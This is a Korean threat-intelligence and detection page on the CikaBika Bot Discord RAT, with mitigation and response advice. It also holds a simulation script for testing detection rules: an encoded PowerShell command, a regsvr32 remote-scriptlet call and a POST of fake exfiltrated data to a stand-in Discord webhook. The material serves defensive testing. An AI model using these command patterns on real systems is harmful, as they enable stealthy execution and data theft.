CikaBika 봇 분석: Discord RAT의 작동 방식
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
CikaBika Bot은 Rust 기반의 원격 액세스 트로이 목마로, 악성 LNK 파일과 PDF 문서와 같은 피싱 미끼를 통해 배포됩니다. 이 악성코드는 Nim 기반의 로더를 사용하여 PowerShell UAC 우회를 트리거하고 Microsoft Edge에 대한 DLL 검색 순서 하이재킹을 수행합니다. 감염된 시스템을 관리하고 다양한 악성 명령을 실행하기 위해 Discord를 명령 및 제어 플랫폼으로 사용합니다.
조사
Darktrace 연구원들은 악성 바로가기와 미끼 PDF를 포함한 디스크 이미지에서 시작되는 감염 체인을 분석했습니다. 조사는 임시 텍스트 파일에서 Microsoft Edge 응용 프로그램 디렉토리에 배치된 하이재킹된 DLL까지 페이로드를 추적했습니다. 연구원들은 또한 RAT가 디스코드를 정찰에 사용하고 ngrok을 데이터 탈취에 활용하는 것을 관찰했습니다.
완화
조직은 신뢰할 수 없는 출처에서 얻은 LNK 파일과 디스크 이미지의 실행에 대한 엄격한 통제를 시행해야 합니다. 사용자 계정 컨트롤(UAC) 설정을 강화하고 HKLM/HKCU 셸 명령을 포함한 무단 레지스트리 변경을 모니터링하면 우회 시도를 방지할 수 있습니다. 보안 팀은 또한 비정상적인 Microsoft Edge 자식 프로세스와 디스코드 또는 ngrok의 무단 사용에 주의를 기울여야 합니다.
대응
CikaBika Bot 활동이 감지되면 디스코드 C2 채널을 방해하기 위해 네트워크에서 영향을 받은 엔드포인트를 격리하십시오. 법의학적 분석을 수행하십시오 %TEMP% 디렉토리와 Microsoft Edge 설치 경로를 식별하여 악성 dbghelp.dll을 확인하십시오. 데이터 유출 가능성을 평가하기 위해 ipify.com 또는 ngrok과 관련된 의심스러운 연결을 검토하십시오.
공격 흐름
이 부분은 아직 업데이트 중입니다.
탐지
이중 확장자를 가진 의심스러운 LNK 파일 (cmdline을 통해)
Powershell CommandLine에서 의심스러운 .NET 클래스/메서드 호출 (via process_creation)
의심스러운 CURL 사용 (cmdline을 통해)
Powershell에서 의심스러운 .NET 메서드 호출 (via powershell)
Powershell에서 의심스러운 Windows API 함수 호출 (via powershell)
Powershell 혼동 지표 가능성 (via powershell)
포트 터널링 서비스 가능성 (via dns)
탐지를 위한 IOC (HashMd5): CikaBika Bot: 디스코드 RAT 내부
Powershell과 Regsvr32를 통한 디스코드로의 데이터 탈취 실행 [Windows Powershell]
디코딩된 RAT 페이로드 및 프로세스 정찰의 실행 [Windows Process Creation]
시뮬레이션 실행
-
공격 서사 및 명령: 공격자가 초기 접근을 확보했습니다. 감지를 피하고자, 그들은 인코딩된 PowerShell 명령을 통해 페이로드를 실행하려고 시도합니다. 명령 문자열은 특정 규칙 논리를 트리거하기 위해 더미 “PowerShell UAC 우회” 주석을 포함합니다. 그 후 공격자는 다음을 사용하려고 시도합니다
regsvr32.exe를 통해 원격 스크립틀릿을 실행하려고 시도합니다 (테스트 중 네트워크 소음을 피하기 위해 로컬 파일을 통해 시뮬레이션됨). 마침내 공격자는 PowerShell을 통해 디스코드 웹훅 URL로 더미 POST 요청을 보내 데이터 탈취를 시뮬레이션합니다. -
회귀 테스트 스크립트:
# 시뮬레이션 스크립트: Cikabika 스타일의 디스코드 탈취 모방 Write-Host "[+] 시뮬레이션 시작..." # 1. 'selection_uac_bypass' 및 'selection_powershell_encoded' 조건 시뮬레이션 # 명령에는 문자 그대로의 'PowerShell UAC 우회' 문자열이 포함되어 있으며 '-enc'를 사용 $command = "Write-Output 'Malicious Payload'; # PowerShell UAC 우회" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) Write-Host "[+] 우회 문자열을 사용한 인코딩된 PowerShell 실행..." powershell.exe -enc $encodedCommand # 2. 'selection_regsvr32' 시뮬레이션 # 이는 규칙의 'AND' 조건의 두 번째 절반을 트리거합니다. Write-Host "[+] Regsvr32 실행..." regsvr32.exe /s /i:http://localhost/dummy.sct scrobj.dll # 3. 'selection_discord_exfil' 시뮬레이션 # 이는 'AND' 조건의 두 번째 절반에 대한 대체 경로를 제공합니다. Write-Host "[+] 디스코드 탈취 시뮬레이션..." $discordWebhook = "https://discord.com/api/webhooks/test/12345" powershell.exe -Command "Invoke-RestMethod -Uri '$discordWebhook' -Method Post -Body '{"content": "Exfiltrated Data"}'" Write-Host "[+] 시뮬레이션 완료." -
정리 명령:
# 정리: 시뮬레이션 중 생성된 임시 파일이 있으면 제거합니다. # 이 특정 시뮬레이션에서는 디스크에 파일이 기록되지 않았지만, # 프로세스 트리가 깨끗한지 확인합니다. Stop-Process -Name "powershell" -ErrorAction SilentlyContinue Write-Host "[+] 정리 완료."